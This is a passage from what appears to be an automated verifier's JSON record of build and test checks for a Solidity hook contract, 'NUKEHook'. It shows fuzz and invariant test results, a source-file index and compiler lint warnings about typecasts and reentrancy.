| 2778  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | forgedCallback  | 2792  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | shapeLiquidity  | 2751  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | sweep           | 2701  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | toggleLiquidity | 2683  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | trade           | 2651  | 0       | 0        |\n╰---------------------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 328737973908605819401\n  Bound result 397\n  Bound result 290000000000002514000705\n  Bound result 1695\n  Bound result 2\n  Bound result 9999000000000000016008\n  Bound result 290000000000000000011374\n  Bound result 18174\n  Bound result 1\n  Bound result 7713\n  Bound result 3165\n  Bound result 572228667241825528820\n  Bound result 1\n  Bound result 1\n  Bound result 23106\n  Bound result 54\n  Bound result 290000000000000000015990\n  Bound result 5720\n  Bound result 28142141643096\n  Bound result 68\n  Bound result 10444\n  Bound result 18\n  Bound result 1681\n  Bound result 48\n  Bound result 876209677735470158304\n  Bound result 2041\n  Bound result 290000000000000000006094\n  Bound result 290000000000000000003165\n  Bound result 290000000000000000012524\n  Bound result 5694\n  Bound result 1\n  Bound result 6541\n  Bound result 10689\n  Bound result 44\n  Bound result 14056\n  Bound result 96\n  Bound result 290000000000000000008044\n  Bound result 17803177981\n  Bound result 1\n  Bound result 0\n  Bound result 4499\n  Bound result 422470738982990216336\n  Bound result 12\n  Bound result 2234\n  Bound result 4619\n  Bound result 10353\n  Bound result 0\n  Bound result 0\n  Bound result 136\n  Bound result 22248\n  Bound result 2543\n  Bound result 10000\n  Bound result 705418363418284898535\n  Bound result 140852758\n  Bound result 4\n  Bound result 290000000000000000019547\n  Bound result 8987\n  Bound result 1583\n  Bound result 1\n  Bound result 290000000000000000019368\n  Bound result 127\n  Bound result 16008\n  Bound result 100\n  Bound result 4625\n  Bound result 523314954266644066343\n  Bound result 3\n  Bound result 9330\n  Bound result 99\n  Bound result 54\n  Bound result 120489\n  Bound result 18166\n  Bound result 70930933\n  Bound result 34\n  Bound result 290000000000000000016595\n  Bound result 5486175148904032609\n\n[PASS] test_handlerCanReverseAtAnEmptyTickBitmapBoundary() (gas: 1240826)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 1\n\n[PASS] test_handlerClampsCheapObservationsToTheBandOnly() (gas: 3018247)\nLogs:\n  Bound result 1\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 250000000000000000000000\n  Bound result 3599\n  Bound result 250000000000000000000000\n  Bound result 3600\n\n[PASS] test_handlerExercisesPartialFillsDonationsCooldownAndLiquidityRecovery() (gas: 4243026)\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 3600\n\n[PASS] test_handlerFundedZeroOutputBatchRetainsRestingObservation() (gas: 2809579)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 3600\n  Bound result 4\n  Bound result 3600\n\n[PASS] test_handlerRetainsObservationAcrossEmptyRegionMovement() (gas: 2116281)\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 900\n  Bound result 1\n  Bound result 100\n  Bound result 2700\n  Bound result 7200\n\n[PASS] test_handlerShapedLiquidityKeepsWalkAndEngineInAgreement() (gas: 7493195)\nLogs:\n  Bound result 3\n  Bound result 10000000000000000000000\n  Bound result 4\n  Bound result 10000000000000000000000\n  Bound result 2\n  Bound result 5000000000000000000000\n  Bound result 0\n  Bound result 1000000000000000000\n  Bound result 1\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 1800\n  Bound result 1000000000000000000000\n  Bound result 50\n  Bound result 2\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 100000000000000000000000\n  Bound result 1800\n  Bound result 1000000000000000000000\n\n[PASS] test_handlerZeroBudgetDoesNotObserveRestoredLiquidity() (gas: 3494285)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 3600\n  Bound result 3600\n  Bound result 1000000000000000000000\n  Bound result 3600\n\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 16.91s (16.91s CPU time)\n\nRan 8 tests for test/StatefulAccounting.t.sol:StatefulAccountingTest\n[PASS] invariant_accountingAndReferenceSurviveArbitrarySequences() (runs: 256, calls: 24576, reverts: 0)\n\n╭---------------------------+-----------------+-------+---------+----------╮\n| Contract                  | Selector        | Calls | Reverts | Discards |\n+==========================================================================+\n| StatefulAccountingHandler | advanceTime     | 2767  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | batch           | 2724  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | donate          | 2729  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | dump            | 2778  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | forgedCallback  | 2792  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | shapeLiquidity  | 2751  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | sweep           | 2701  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | toggleLiquidity | 2683  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | trade           | 2651  | 0       | 0        |\n╰---------------------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 328737973908605819401\n  Bound result 397\n  Bound result 290000000000000000000515\n  Bound result 709783476056172507384\n  Bound result 0\n  Bound result 9999000000000000002761\n  Bound result 290000000000000000001910\n  Bound result 18174\n  Bound result 1\n  Bound result 9588\n  Bound result 3834\n  Bound result 572228667241825528820\n  Bound result 1\n  Bound result 1\n  Bound result 21710\n  Bound result 92\n  Bound result 290000000000000000011664\n  Bound result 4239\n  Bound result 19895\n  Bound result 68\n  Bound result 410\n  Bound result 18\n  Bound result 16459\n  Bound result 22\n  Bound result 17033\n  Bound result 15419\n  Bound result 290000000000000000002185\n  Bound result 290000000000000000006749\n  Bound result 2653\n  Bound result 1\n  Bound result 9397\n  Bound result 6424\n  Bound result 44\n  Bound result 10850\n  Bound result 96\n  Bound result 290000000000000000023166\n  Bound result 17803177981\n  Bound result 1\n  Bound result 0\n  Bound result 4499\n  Bound result 422470738982990216336\n  Bound result 12\n  Bound result 3395\n  Bound result 4619\n  Bound result 5233\n  Bound result 0\n  Bound result 0\n  Bound result 5124\n  Bound result 20599\n  Bound result 3510\n  Bound result 5283\n  Bound result 8615489724703614100\n  Bound result 140852758\n  Bound result 4\n  Bound result 290000000000000000018353\n  Bound result 6274\n  Bound result 411\n  Bound result 20\n  Bound result 290000000000000000015076\n  Bound result 7921\n  Bound result 3241\n  Bound result 100\n  Bound result 1209\n  Bound result 339550597493741787570\n  Bound result 3\n  Bound result 4335\n  Bound result 99\n  Bound result 54\n  Bound result 120489\n  Bound result 15976\n  Bound result 70930933\n  Bound result 34\n  Bound result 290000000000000000015726\n  Bound result 11744\n\n[PASS] test_handlerCanReverseAtAnEmptyTickBitmapBoundary() (gas: 1242071)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 1\n\n[PASS] test_handlerClampsCheapObservationsToTheBandOnly() (gas: 3025840)\nLogs:\n  Bound result 1\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 250000000000000000000000\n  Bound result 3599\n  Bound result 250000000000000000000000\n  Bound result 3600\n\n[PASS] test_handlerExercisesPartialFillsDonationsCooldownAndLiquidityRecovery() (gas: 4196548)\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 3600\n\n[PASS] test_handlerFundedZeroOutputBatchRetainsRestingObservation() (gas: 2824981)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 3600\n  Bound result 4\n  Bound result 3600\n\n[PASS] test_handlerRetainsObservationAcrossEmptyRegionMovement() (gas: 2128724)\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 900\n  Bound result 1\n  Bound result 100\n  Bound result 2700\n  Bound result 7200\n\n[PASS] test_handlerShapedLiquidityKeepsWalkAndEngineInAgreement() (gas: 7468799)\nLogs:\n  Bound result 3\n  Bound result 10000000000000000000000\n  Bound result 4\n  Bound result 10000000000000000000000\n  Bound result 2\n  Bound result 5000000000000000000000\n  Bound result 0\n  Bound result 1000000000000000000\n  Bound result 1\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 1800\n  Bound result 1000000000000000000000\n  Bound result 50\n  Bound result 2\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 100000000000000000000000\n  Bound result 1800\n  Bound result 1000000000000000000000\n\n[PASS] test_handlerZeroBudgetDoesNotObserveRestoredLiquidity() (gas: 3517710)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 3600\n  Bound result 3600\n  Bound result 1000000000000000000000\n  Bound result 3600\n\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 17.02s (17.05s CPU time)\n\nRan 19 test suites in 17.02s (40.02s CPU time): 136 tests passed, 0 failed, 1 skipped (137 total tests)\n","passed":true},{"durationMs":75,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"NUKE.approve(address,uint256)\",\"NUKE.transfer(address,uint256)\",\"NUKE.transferFrom(address,address,uint256)\",\"NUKEHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"NUKEHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"NUKEHook.executeBatch()\",\"NUKEHook.sweep()\",\"NUKEHook.unlockCallback(bytes)\"],\"files\":{\".gitignore\":3,\"README.md\":110,\"dependencies.json\":26,\"dependencies.sha256\":82,\"docs/SECURITY_REVIEW.md\":32,\"foundry.toml\":13,\"launch.json\":21,\"remappings.txt\":4,\"script/MineHook.s.sol\":28,\"src/NUKE.sol\":11,\"src/NUKEHook.sol\":387,\"test/BatchPriceLimit.t.sol\":107,\"test/Conservation.t.sol\":108,\"test/DustBatch.t.sol\":146,\"test/DustLiquidityOracle.t.sol\":230,\"test/MainnetFork.t.sol\":82,\"test/NUKE.t.sol\":75,\"test/NUKEHook.t.sol\":393,\"test/OracleLiquidity.t.sol\":129,\"test/README.md\":39,\"test/SettlementEdges.t.sol\":292,\"test/StatefulAccounting.t.sol\":626,\"test/helpers/ClaimActor.sol\":130,\"test/helpers/HookFixture.sol\":145,\"test/helpers/PoolActor.sol\":66},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"8f4ad9d6bbdb81020d6090d29ca031612ad8f7ddccd89adf933303840170374a","verifiedTreeHash":"a3cd6953830d62f62d3cdec2c5a293306c22e813","verifierVersion":"0.1.0+5d71dfd4"},{"checks":[{"durationMs":75175,"exitCode":0,"name":"build","output":"Compiling 83 files with Solc 0.8.26\nSolc 0.8.26 finished in 75.00s\nCompiler run successful!\nwarning[missing-events-arithmetic]: `lastBatch` is changed without an event but is used in arithmetic\n    ╭▸ src/NUKEHook.sol:120:9\n    │\n120 │         lastBatch = block.timestamp;\n    │         ━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-arithmetic\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:118:25\n    │\n118 │         oracle = Oracle(uint64(block.timestamp), uint64(block.timestamp), tick, tick, 0);\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:118:50\n    │\n118 │         oracle = Oracle(uint64(block.timestamp), uint64(block.timestamp), tick, tick, 0);\n    │                                                  ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:132:42\n    │\n132 │             params.amountSpecified < 0 ? uint256(-(params.amountSpecified + 1)) + 1 : uint256(params.amountSpecified);\n    │                                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:132:87\n    │\n132 │             params.amountSpecified < 0 ? uint256(-(params.amountSpecified + 1)) + 1 : uint256(params.amountSpecified);\n    │                                                                                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:133:25\n    │\n133 │         if (magnitude > uint256(type(int256).max) - magnitude / 100) revert UnrepresentableFee();\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:153:13\n    │\n153 │             emit FeeAccrued(currency, fee);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:149:23\n    │\n149 │         uint256 fee = uint256(filled < 0 ? -filled : filled) * FEE_BPS / 10_000;\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:155:44\n    │\n155 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:155:51\n    │\n155 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                                   ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:183:16\n    │\n183 │         return uint160(limit);\n    │                ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint160' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `busy` is updated\n    ╭▸ src/NUKEHook.sol:189:29\n    │\n189 │         burned = abi.decode(poolManager.unlock(\"\"), (uint256));\n    │                             ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:191:9\n    │\n191 │         emit Swept(burned);\n    │         ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-no-eth]: external call can be reentered before `busy` is updated\n    ╭▸ src/NUKEHook.sol:209:38\n    │\n209 │         (spent, burned) = abi.decode(poolManager.unlock(abi.encode(budget, limit)), (uint256, uint256));\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:198:13\n    │\n198 │         if (block.timestamp - lastBatch < BATCH_INTERVAL) revert BatchTooSoon();\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:211:9\n    │\n211 │         emit BatchExecuted(budget, spent, burned, limit);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:201:22\n    │\n201 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:201:30\n    │\n201 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                              ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:201:67\n    │\n201 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:201:75\n    │\n201 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                                                                           ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:228:81\n    │\n228 │         BalanceDelta delta = poolManager.swap(poolKey(), SwapParams(!tokenIs0, -int256(budget), limit), \"\");\n    │                                                                                 ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:229:25\n    │\n229 │         uint256 spent = uint256(-int256(tokenIs0 ? delta.amount1() : delta.amount0()));\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:230:26\n    │\n230 │         uint256 bought = uint256(int256(tokenIs0 ? delta.amount0() : delta.amount1()));\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/NUKEHook.sol:238:13\n    │\n238 │             poolManager.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/NUKEHook.sol:265:43\n    │\n265 │             uint256 newStart = boundary + ((block.timestamp - boundary) / BATCH_INTERVAL) * BATCH_INTERVAL;\n    │                                           ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:257:13\n    │\n257 │         if (block.timestamp < boundary) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:266:17\n    │\n266 │             if (newStart > boundary) o.meanTick = o.tick;\n    │                 ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:258:27\n    │\n258 │             o.integral += int64(int256(o.tick) * int256(block.timestamp - o.observedAt));\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:258:50\n    │\n258 │             o.integral += int64(int256(o.tick) * int256(block.timestamp - o.observedAt));\n    │                                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:260:69\n    │\n260 │             int256 integral = int256(o.integral) + int256(o.tick) * int256(boundary - o.observedAt);\n    │                                                                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:261:38\n    │\n261 │             int256 mean = integral / int256(BATCH_INTERVAL);\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:263:44\n    │\n263 │             if (integral < 0 && integral % int256(BATCH_INTERVAL) != 0) --mean;\n    │                                            ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:264:26\n    │\n264 │             o.meanTick = int24(mean);\n    │                          ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int24' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:267:28\n    │\n267 │             o.epochStart = uint64(newStart);\n    │                            ━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:268:26\n    │\n268 │             o.integral = int64(int256(o.tick) * int256(block.timestamp - newStart));\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:268:49\n    │\n268 │             o.integral = int64(int256(o.tick) * int256(block.timestamp - newStart));\n    │                                                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:270:24\n    │\n270 │         o.observedAt = uint64(block.timestamp);\n    │                        ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":5941,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/MainnetFork.t.sol:MainnetForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 514.21µs (0.00ns CPU time)\n\nRan 1 test for test/SettlementEdges.t.sol:FreshPoolClaimsReverseOrderTest\n[PASS] testFuzz_firstBuyAccruesBeforeInputArrives(bool,uint64) (runs: 1000, μ: 507181, ~: 542117)\nLogs:\n  Bound result 9000000000000009567\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 